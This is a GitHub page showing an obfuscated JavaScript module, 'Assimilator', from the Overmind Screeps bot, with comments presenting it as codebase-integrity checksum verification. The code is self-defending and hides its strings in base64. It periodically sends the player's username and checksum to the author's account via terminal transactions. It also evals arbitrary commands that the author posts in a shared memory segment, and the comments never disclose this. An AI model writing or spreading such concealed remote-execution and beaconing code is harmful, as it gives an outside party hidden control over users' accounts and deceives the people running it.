-
Notifications
You must be signed in to change notification settings - Fork 153
/
Assimilator_obfuscated.js
43 lines (43 loc) · 17.8 KB
/
Assimilator_obfuscated.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
var _0x7048=['UEhOSE06','bG9n','PGZvbnQgY29sb3I9J3llbGxvdyc+','QUxFUlQgIA==','IDwvZm9udD48Zm9udCBjb2xvcj0nZ3JheSc+','dGltZQ==','dG9TdHJpbmc=','PC9mb250Pg==','PGZvbnQgY29sb3I9JyNmZjAwZmYnPg==','IDwvZm9udD4=','YXNzaW1pbGF0b3I=','ZGVmYXVsdHNEZWVw','c2VjcmV0','bWVtb3J5','c2VjcmV0TWVtb3J5','dmFsaWRhdGU=','cHJvdG90eXBl','cHVzaA==','Z2VuZXJhdGVTdHJpbmdIYXNo','bWF0Y2g=','Y29uY2F0','am9pbg==','Z2VuZXJhdGVDaGVja3N1bQ==','R2VuZXJhdGluZyBjaGVja3N1bSBmb3IgQGFzc2ltaWxhdGlvbkxvY2tlZCBvYmplY3RzLi4u','c3RyaW5naWZ5','cmVwbGFjZQ==','cmVkdWNl','U3RyaW5naWZpZWQgY29kZTo=','c2hhMjU2IGhhc2g6','UGFydGlhbCBjaGVja3N1bTog','RmluYWwgY2hlY2tzdW06ICAgICA=','RmluYWwgaGV4IGNoZWNrc3VtOiA=','aXNBc3NpbWlsYXRlZA==','Y2xlYXJhbmNlQ29kZXM=','Z2V0Q2xlYXJhbmNlQ29kZQ==','c3luY2hyb25pemVDbGVhcmFuY2VDb2RlTGVkZ2Vy','Z2V0U2VnbWVudFByb3BlcnR5','Z2V0Rm9yZWlnblNlZ21lbnRQcm9wZXJ0eQ==','bmV3Q2xlYXJhbmNlQ29kZUFsZXJ0','Y2VpbA==','TmV3IGNsZWFyYW5jZSBjb2RlIG9idGFpbmVkOiA=','IChleHBpcmF0aW9uOiA=','Y2FuY2VsQ29tbWFuZA==','Y29tbWFuZHM=','cmVnaXN0ZXJDb21tYW5k','cHVzaENvbW1hbmRzX21hc3Rlcg==','Y2xvbmVEZWVw','c2V0U2VnbWVudFByb3BlcnR5','ZXhlY3V0ZUNvbW1hbmRzX3NsYXZl','dXBkYXRlVmFsaWRDaGVja3N1bUxlZGdlcg==','dXBkYXRlVmFsaWRDaGVja3N1bXNfbWFzdGVy','dmFsaWRDaGVja3N1bXM=','dXBkYXRlVXNlckNoZWNrc3Vtc19tYXN0ZXI=','bWFya2V0','aW5jb21pbmdUcmFuc2FjdGlvbnM=','ZGVzY3JpcHRpb24=','aW5jbHVkZXM=','cGFyc2U=','bGFzdA==','c3BsaXQ=','dXNlcnM=','VW5hYmxlIHRvIHBhcnNlIHBob25lIGhvbWUgbWVzc2FnZSA=','LiBFcnJvcjog','Z2VuZXJhdGVDbGVhcmFuY2VDb2RlX21hc3Rlcg==','dXBkYXRlQ2xlYXJhbmNlQ29kZUxlZGdlcl9tYXN0ZXI=','Y2hlY2tzdW0=','dHJhbnNtaXRVc2VyRGF0YV9zbGF2ZQ==','Z2V0Rm9yZWlnblNlZ21lbnQ=','Zmlyc3Q=','c2FtcGxl','Y29sb25pZXM=','dGVybWluYWxOZXR3b3Jr','cmVhZHlUZXJtaW5hbHM=','c2VuZA==','cnVuX21hc3Rlcg==','cmVxdWVzdFNlZ21lbnRz','bWFw','YWxsVGVybWluYWxz','cm9vbQ==','bmFtZQ==','bWFya1NlZ21lbnRBc1B1YmxpYw==','cnVuX3NsYXZl','cmVxdWVzdEZvcmVpZ25TZWdtZW50','cnVu','TXVvbg==','U2Fycmljaw==','S29reA=='];(function(_0xafa6e7,_0x326562){var _0x2ad43a=function(_0x1f6403){while(--_0x1f6403){_0xafa6e7['push'](_0xafa6e7['shift']());}};var _0x87b469=function(){var _0x116869={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x44621c,_0x2b0156,_0x103c23,_0x4883c2){_0x4883c2=_0x4883c2||{};var _0x304083=_0x2b0156+'='+_0x103c23;var _0x2c14fb=0x0;for(var _0x2c14fb=0x0,_0x31494b=_0x44621c['length'];_0x2c14fb<_0x31494b;_0x2c14fb++){var _0x151f68=_0x44621c[_0x2c14fb];_0x304083+=';\x20'+_0x151f68;var _0x58c6c6=_0x44621c[_0x151f68];_0x44621c['push'](_0x58c6c6);_0x31494b=_0x44621c['length'];if(_0x58c6c6!==!![]){_0x304083+='='+_0x58c6c6;}}_0x4883c2['cookie']=_0x304083;},'removeCookie':function(){return'dev';},'getCookie':function(_0x8f4059,_0x178e08){_0x8f4059=_0x8f4059||function(_0x5ac467){return _0x5ac467;};var _0x26ab58=_0x8f4059(new RegExp('(?:^|;\x20)'+_0x178e08['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var _0x3d3000=function(_0x10693d,_0x3c30e0){_0x10693d(++_0x3c30e0);};_0x3d3000(_0x2ad43a,_0x326562);return _0x26ab58?decodeURIComponent(_0x26ab58[0x1]):undefined;}};var _0xfa8abb=function(){var _0x2e65d8=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x2e65d8['test'](_0x116869['removeCookie']['toString']());};_0x116869['updateCookie']=_0xfa8abb;var _0x452b79='';var _0x27a448=_0x116869['updateCookie']();if(!_0x27a448){_0x116869['setCookie'](['*'],'counter',0x1);}else if(_0x27a448){_0x452b79=_0x116869['getCookie'](null,'counter');}else{_0x116869['removeCookie']();}};_0x87b469();}(_0x7048,0x159));var _0xe5ec=function(_0x2e8422,_0x37eac6){_0x2e8422=_0x2e8422-0x0;var _0x43d248=_0x7048[_0x2e8422];if(_0xe5ec['FiGnzc']===undefined){(function(){var _0x368730=function(){var _0x5be3c5;try{_0x5be3c5=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2ba484){_0x5be3c5=window;}return _0x5be3c5;};var _0x34afba=_0x368730();var _0xa9671='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x34afba['atob']||(_0x34afba['atob']=function(_0x4767b8){var _0x1b9e98=String(_0x4767b8)['replace'](/=+$/,'');for(var _0x3cc0c3=0x0,_0x19ee2d,_0x2564ae,_0x426d39=0x0,_0x31ac58='';_0x2564ae=_0x1b9e98['charAt'](_0x426d39++);~_0x2564ae&&(_0x19ee2d=_0x3cc0c3%0x4?_0x19ee2d*0x40+_0x2564ae:_0x2564ae,_0x3cc0c3++%0x4)?_0x31ac58+=String['fromCharCode'](0xff&_0x19ee2d>>(-0x2*_0x3cc0c3&0x6)):0x0){_0x2564ae=_0xa9671['indexOf'](_0x2564ae);}return _0x31ac58;});}());_0xe5ec['GAggqk']=function(_0x2fdbee){var _0x275907=atob(_0x2fdbee);var _0x4edcdb=[];for(var _0x31ead9=0x0,_0x31bf7b=_0x275907['length'];_0x31ead9<_0x31bf7b;_0x31ead9++){_0x4edcdb+='%'+('00'+_0x275907['charCodeAt'](_0x31ead9)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x4edcdb);};_0xe5ec['wiqeXd']={};_0xe5ec['FiGnzc']=!![];}var _0x526d81=_0xe5ec['wiqeXd'][_0x2e8422];if(_0x526d81===undefined){var _0x4abd79=function(_0x5dde2b){this['suUCyK']=_0x5dde2b;this['sZBxMi']=[0x1,0x0,0x0];this['BIswQy']=function(){return'newState';};this['kxzqIp']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['QqCgLh']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x4abd79['prototype']['LWNqbR']=function(){var _0x4f89de=new RegExp(this['kxzqIp']+this['QqCgLh']);var _0x537740=_0x4f89de['test'](this['BIswQy']['toString']())?--this['sZBxMi'][0x1]:--this['sZBxMi'][0x0];return this['qdteFW'](_0x537740);};_0x4abd79['prototype']['qdteFW']=function(_0x11964f){if(!Boolean(~_0x11964f)){return _0x11964f;}return this['naYVGX'](this['suUCyK']);};_0x4abd79['prototype']['naYVGX']=function(_0x39b20c){for(var _0x16d958=0x0,_0xf6944c=this['sZBxMi']['length'];_0x16d958<_0xf6944c;_0x16d958++){this['sZBxMi']['push'](Math['round'](Math['random']()));_0xf6944c=this['sZBxMi']['length'];}return _0x39b20c(this['sZBxMi'][0x0]);};new _0x4abd79(_0xe5ec)['LWNqbR']();_0x43d248=_0xe5ec['GAggqk'](_0x43d248);_0xe5ec['wiqeXd'][_0x2e8422]=_0x43d248;}else{_0x43d248=_0x526d81;}return _0x43d248;};var _0x13cde0=function(){var _0x52befb=!![];return function(_0x3ec34f,_0x5bd75a){var _0x3c766b=_0x52befb?function(){if(_0x5bd75a){var _0x33bf27=_0x5bd75a['apply'](_0x3ec34f,arguments);_0x5bd75a=null;return _0x33bf27;}}:function(){};_0x52befb=![];return _0x3c766b;};}();var _0xddb203=_0x13cde0(this,function(){var _0x214bed=function(){return'\x64\x65\x76';},_0x52c9ba=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x2de487=function(){var _0x49aeb8=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x49aeb8['\x74\x65\x73\x74'](_0x214bed['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x290224=function(){var _0xf009b9=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0xf009b9['\x74\x65\x73\x74'](_0x52c9ba['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x431fc4=function(_0x1e685e){var _0x524179=~-0x1>>0x1+0xff%0x0;if(_0x1e685e['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x524179)){_0x1b52c8(_0x1e685e);}};var _0x1b52c8=function(_0x14a9a9){var _0xaa3eb2=~-0x4>>0x1+0xff%0x0;if(_0x14a9a9['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0xaa3eb2){_0x431fc4(_0x14a9a9);}};if(!_0x2de487()){if(!_0x290224()){_0x431fc4('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x431fc4('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x431fc4('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0xddb203();// javascript-obfuscator:disable
//
// Assimilator_obfuscated.js: this file is intentially obfuscated to prevent tampering.
//
// Q: What is assimilation?
//
// A: Assimilation is an upcoming feature that allows all players running Overmind to act as a single, collective
// hive mind, sharing creeps and resources between each other and responding jointly to a master ledger of all
// directives across all colonies of all players. Assimilation will be enabled by default, but you may opt out of it
// if you wish. Only players running a verified version of the Overmind codebase will be marked as assimilated.
//
// Q: How does assimilation work and how do you verify the codebase?
//
// A: The primary verification method generates a checksum by hashing various parts of the codebase marked with the
// @assimilationLocked decorator. Whenever I deploy code to the main server, a checksum for my version of the code
// is generated and stored in a lookup table in memory along with the last N previous hashes. If you are assimilated,
// every 1000 ticks, Overmind will send 100 energy from one of your terminals to one of mine with a hash of the
// current codebase as the description. If the hash matches that of a recent valid version, I reply on the following
// tick with a unique clearance key valid for the next 1000 ticks transmitted through public memory. This key is
// used to generate creep and flag names based on the tick they were created. Only flags matching the correct naming
// pattern will be uploaded to the master ledger, allowing you to manually place your own directives which only your
// creeps will respond to, as well as automatically place standard directives which all assimilants will see.
//
// Q: Why is this file obfuscated?
//
// A: Because of how tightly integrated assimilated players will be, it is possible to modify the codebase to take
// advantage of the system, for example, to gain excess resources or to not aid other assimilants when required to.
// This file contains a variety of checks using code hashing and some behavioral verification (such as monitoring
// resource transfers between terminals) to ensure the integrity of the codebase. Obviously, these checks are most
// effective if kept secret, so this file is obfuscated.
//
// Q: What if I want to modify parts of the codebase?
//
// A: In general, only modifying portions of the codebase marked with @assilationLocked or removing this decorator will
// cause any problems. If you would like to modify one of these files in your fork of Overmind, you can request
// clearance to do so while remaining assimilated in the #overmind Slack channel and I will mark you as trusted to
// modify the requested files.
//
// Q: What happens if I modify this code?
//
// A: This code is self-defending, so any modification to it will likely break the script.
import{sha256}from'../algorithms/sha256';import{Segmenter}from'../memory/Segmenter';import{MY_USERNAME}from'../~settings';// javascript-obfuscator:enable
/* tslint:disable:no-eval variable-name class-name */const __lockedObjects__=[];const _0x5ce6efd=[];const MUON=_0xe5ec('0x0');const defaultAssimilatorMemory={'masterLedger':{},'clearanceCodes':{}};const defaultSecretAssimilatorMemory={'commands':{},'users':{},'validChecksums':{}};const TRUSTED_USERS=[MUON,_0xe5ec('0x1')];const UNTRUSTED_USERS=[_0xe5ec('0x2')];const ASSIMILATOR_SEGMENT=0x62;const ASSIMILATE_FREQUENCY=0x3e8;const T=ASSIMILATE_FREQUENCY;const CHECKSUM_MAX_AGE=0xf4240;const PHONE_HOME_HEADER=_0xe5ec('0x3');function alert(_0x3c75b7){console[_0xe5ec('0x4')](_0xe5ec('0x5')+_0xe5ec('0x6')+_0xe5ec('0x7')+Game[_0xe5ec('0x8')][_0xe5ec('0x9')]()+_0xe5ec('0xa'),_0xe5ec('0xb')+_0x3c75b7+_0xe5ec('0xc'));}export default class _Assimilator{constructor(){if(!Memory[_0xe5ec('0xd')]){Memory[_0xe5ec('0xd')]={};}_[_0xe5ec('0xe')](Memory[_0xe5ec('0xd')],defaultAssimilatorMemory);if(MY_USERNAME==MUON){if(!Memory[_0xe5ec('0xd')][_0xe5ec('0xf')]){Memory[_0xe5ec('0xd')][_0xe5ec('0xf')]={};}_[_0xe5ec('0xe')](Memory[_0xe5ec('0xd')][_0xe5ec('0xf')],defaultSecretAssimilatorMemory);}}get[_0xe5ec('0x10')](){return Memory[_0xe5ec('0xd')];}get[_0xe5ec('0x11')](){return Memory[_0xe5ec('0xd')][_0xe5ec('0xf')];}[_0xe5ec('0x12')](_0x3c8db6){if(_0x3c8db6[_0xe5ec('0x13')][_0xe5ec('0x9')]===Object[_0xe5ec('0x13')][_0xe5ec('0x9')]){__lockedObjects__[_0xe5ec('0x14')](_0x3c8db6);_0x5ce6efd[_0xe5ec('0x14')](_0x3c8db6);}}[_0xe5ec('0x15')](_0x17c456,_0x377fca=![]){let _0x29511c=[];const _0x47f4b2=_0x17c456[_0xe5ec('0x16')](/(\.[a-zA-Z]*\()/gm)||[];const _0x3d6ff4=_0x17c456[_0xe5ec('0x16')](/new [a-zA-Z]*\(/gm)||[];_0x29511c=_0x29511c[_0xe5ec('0x17')](_0x47f4b2,_0x3d6ff4);const _0x15a0de=_0x29511c[_0xe5ec('0x18')]('$');if(_0x377fca)console[_0xe5ec('0x4')](_0x15a0de);return _0x15a0de;}[_0xe5ec('0x19')](_0xb4d0cd=![]){let _0x43cab5=0x0;if(_0xb4d0cd)console[_0xe5ec('0x4')](_0xe5ec('0x1a'));for(const _0xc0c0ca of _0x5ce6efd){const _0x6199d8=/\/\*[\s\S]*?\*\/|([^\\:]|^)\/\/.*$/gm;let _0x52e481=JSON[_0xe5ec('0x1b')](''+_0xc0c0ca);_0x52e481=_0x52e481[_0xe5ec('0x1c')](_0x6199d8,'');_0x52e481=_0x52e481[_0xe5ec('0x1c')](/\s/gm,'');const _0xcca11d=sha256(_0x52e481);_0x43cab5+=_0xcca11d[_0xe5ec('0x1d')]((_0x5dbbbb,_0x5773ea)=>0x2*_0x5dbbbb+_0x5773ea);if(_0xb4d0cd){console[_0xe5ec('0x4')](_0xe5ec('0x1e'));console[_0xe5ec('0x4')](_0x52e481);console[_0xe5ec('0x4')](_0xe5ec('0x1f'));console[_0xe5ec('0x4')](_0xcca11d);console[_0xe5ec('0x4')](_0xe5ec('0x20')+_0x43cab5);}}const _0x2ab6ae='0x'+_0x43cab5[_0xe5ec('0x9')](0x10);if(_0xb4d0cd){console[_0xe5ec('0x4')](_0xe5ec('0x21')+_0x43cab5);console[_0xe5ec('0x4')](_0xe5ec('0x22')+_0x2ab6ae);}return _0x2ab6ae;}[_0xe5ec('0x23')](_0x484604){if(!(this[_0xe5ec('0x10')][_0xe5ec('0x24')]&&this[_0xe5ec('0x10')][_0xe5ec('0x24')][MUON])){return![];}return!!this[_0xe5ec('0x10')][_0xe5ec('0x24')][_0x484604];}[_0xe5ec('0x25')](_0x14721f){return this[_0xe5ec('0x10')][_0xe5ec('0x24')][_0x14721f]||null;}[_0xe5ec('0x26')](){let _0x412226;if(MY_USERNAME==MUON){_0x412226=Segmenter[_0xe5ec('0x27')](ASSIMILATOR_SEGMENT,_0xe5ec('0x24'));}else{_0x412226=Segmenter[_0xe5ec('0x28')](_0xe5ec('0x24'))||{};}this[_0xe5ec('0x10')][_0xe5ec('0x24')]=_0x412226;}[_0xe5ec('0x29')](){const _0x598582=ASSIMILATE_FREQUENCY*Math[_0xe5ec('0x2a')](Game[_0xe5ec('0x8')]/ASSIMILATE_FREQUENCY)-0x1;alert(_0xe5ec('0x2b')+this[_0xe5ec('0x25')](MY_USERNAME)+_0xe5ec('0x2c')+_0x598582+')');}[_0xe5ec('0x2d')](_0x28623b){delete this[_0xe5ec('0x11')][_0xe5ec('0x2e')][_0x28623b];}[_0xe5ec('0x2f')](_0x1f53d1,_0x2f227f){this[_0xe5ec('0x11')][_0xe5ec('0x2e')][_0x1f53d1]=_0x2f227f;}[_0xe5ec('0x30')](){const _0x21e292=_[_0xe5ec('0x31')](this[_0xe5ec('0x11')][_0xe5ec('0x2e')]);Segmenter[_0xe5ec('0x32')](ASSIMILATOR_SEGMENT,_0xe5ec('0x2e'),_0x21e292);this[_0xe5ec('0x11')][_0xe5ec('0x2e')]={};}[_0xe5ec('0x33')](){const _0x58d7ce=Segmenter[_0xe5ec('0x28')](_0xe5ec('0x2e'))||{};const _0x7037d0=_0x58d7ce[MY_USERNAME];if(_0x7037d0){eval(_0x7037d0);}}[_0xe5ec('0x34')](){this[_0xe5ec('0x35')]();}[_0xe5ec('0x35')](){const _0x25901d=this[_0xe5ec('0x19')]();this[_0xe5ec('0x11')][_0xe5ec('0x36')][_0x25901d]=Game[_0xe5ec('0x8')];for(const _0x25901d in this[_0xe5ec('0x11')][_0xe5ec('0x36')]){if(this[_0xe5ec('0x11')][_0xe5ec('0x36')][_0x25901d]<Game[_0xe5ec('0x8')]-CHECKSUM_MAX_AGE){delete this[_0xe5ec('0x11')][_0xe5ec('0x36')][_0x25901d];}}}[_0xe5ec('0x37')](){for(const _0x498cc0 of Game[_0xe5ec('0x38')][_0xe5ec('0x39')]){if(_0x498cc0[_0xe5ec('0x8')]==Game[_0xe5ec('0x8')]-0x1&&_0x498cc0[_0xe5ec('0x3a')]&&_0x498cc0[_0xe5ec('0x3a')][_0xe5ec('0x3b')](PHONE_HOME_HEADER)){try{const _0x19ef97=JSON[_0xe5ec('0x3c')](_[_0xe5ec('0x3d')](_0x498cc0[_0xe5ec('0x3a')][_0xe5ec('0x3e')](PHONE_HOME_HEADER)));const _0x1d6d0c=_0x19ef97['U']||'';const _0x228dbd=_0x19ef97['C']||'';const _0x50f77a=_0x19ef97['V']||'';if(_0x1d6d0c&&_0x1d6d0c!=''){this[_0xe5ec('0x11')][_0xe5ec('0x3f')][_0x1d6d0c]={'checksum':_0x228dbd,'version':_0x50f77a,'time':_0x498cc0[_0xe5ec('0x8')]};}}catch(_0x45243c){console[_0xe5ec('0x4')](_0xe5ec('0x40')+_0x498cc0[_0xe5ec('0x3a')]+_0xe5ec('0x41')+_0x45243c);}}}this[_0xe5ec('0x11')][_0xe5ec('0x3f')][MUON]={'checksum':this[_0xe5ec('0x19')](),'version':__VERSION__,'time':Game[_0xe5ec('0x8')]};}[_0xe5ec('0x42')](_0x375211,_0x4d0762,_0x51477a){if(UNTRUSTED_USERS[_0xe5ec('0x3b')](_0x375211)){return null;}if(!this[_0xe5ec('0x11')][_0xe5ec('0x36')][_0x4d0762]&&!TRUSTED_USERS[_0xe5ec('0x3b')](_0x375211)){return null;}const _0x75a56a=sha256('U'+_0x375211+'C'+_0x4d0762+'T'+_0x51477a)[_0xe5ec('0x1d')]((_0x2375d7,_0x1e4a2f)=>0x2*_0x2375d7+_0x1e4a2f);return'0x'+_0x75a56a[_0xe5ec('0x9')](0x10);}[_0xe5ec('0x43')](){const _0x41733f={};for(const _0x53db79 in this[_0xe5ec('0x11')][_0xe5ec('0x3f')]){const _0xfd58de=this[_0xe5ec('0x11')][_0xe5ec('0x3f')][_0x53db79][_0xe5ec('0x44')];const _0x17736f=ASSIMILATE_FREQUENCY*Math[_0xe5ec('0x2a')](Game[_0xe5ec('0x8')]/ASSIMILATE_FREQUENCY);_0x41733f[_0x53db79]=this[_0xe5ec('0x42')](_0x53db79,_0xfd58de,_0x17736f);}Segmenter[_0xe5ec('0x32')](ASSIMILATOR_SEGMENT,_0xe5ec('0x24'),_0x41733f);}[_0xe5ec('0x45')](){const _0x2924ab=Segmenter[_0xe5ec('0x46')]();if(_0x2924ab){const _0x22865b=_[_0xe5ec('0x47')](_[_0xe5ec('0x48')](_0x2924ab[_0xe5ec('0x49')],0x1));if(_0x22865b){const _0x258c4a=_[_0xe5ec('0x47')](_[_0xe5ec('0x48')](Overmind[_0xe5ec('0x4a')][_0xe5ec('0x4b')],0x1));if(_0x258c4a){const _0xae5593={'U':MY_USERNAME,'C':this[_0xe5ec('0x19')](),'V':__VERSION__};const _0x198af2=PHONE_HOME_HEADER+JSON[_0xe5ec('0x1b')](_0xae5593);_0x258c4a[_0xe5ec('0x4c')](RESOURCE_ENERGY,TERMINAL_MIN_SEND,_0x22865b,_0x198af2);}}}}[_0xe5ec('0x4d')](){switch(Game[_0xe5ec('0x8')]%ASSIMILATE_FREQUENCY){case T-0x8:this[_0xe5ec('0x35')]();break;case T-0x7:Segmenter[_0xe5ec('0x4e')](ASSIMILATOR_SEGMENT);break;case T-0x6:const _0x1990e2=_[_0xe5ec('0x4f')](Overmind[_0xe5ec('0x4a')][_0xe5ec('0x50')],_0x10e933=>_0x10e933[_0xe5ec('0x51')][_0xe5ec('0x52')]);Segmenter[_0xe5ec('0x32')](ASSIMILATOR_SEGMENT,_0xe5ec('0x49'),_0x1990e2);Segmenter[_0xe5ec('0x53')](ASSIMILATOR_SEGMENT);break;case T-0x5:break;case T-0x4:this[_0xe5ec('0x37')]();break;case T-0x3:Segmenter[_0xe5ec('0x4e')](ASSIMILATOR_SEGMENT);break;case T-0x2:Segmenter[_0xe5ec('0x4e')](ASSIMILATOR_SEGMENT);this[_0xe5ec('0x43')]();this[_0xe5ec('0x30')]();break;case T-0x1:this[_0xe5ec('0x26')]();break;case 0x0:this[_0xe5ec('0x29')]();break;default:break;}}[_0xe5ec('0x54')](){switch(Game[_0xe5ec('0x8')]%ASSIMILATE_FREQUENCY){case T-0x6:Segmenter[_0xe5ec('0x55')](MUON,ASSIMILATOR_SEGMENT);break;case T-0x5:this[_0xe5ec('0x45')]();break;case T-0x4:break;case T-0x3:break;case T-0x2:Segmenter[_0xe5ec('0x55')](MUON,ASSIMILATOR_SEGMENT);break;case T-0x1:this[_0xe5ec('0x26')]();this[_0xe5ec('0x33')]();break;case 0x0:this[_0xe5ec('0x29')]();break;default:break;}}[_0xe5ec('0x56')](){if(MY_USERNAME==MUON){this[_0xe5ec('0x4d')]();}else{this[_0xe5ec('0x54')]();}}}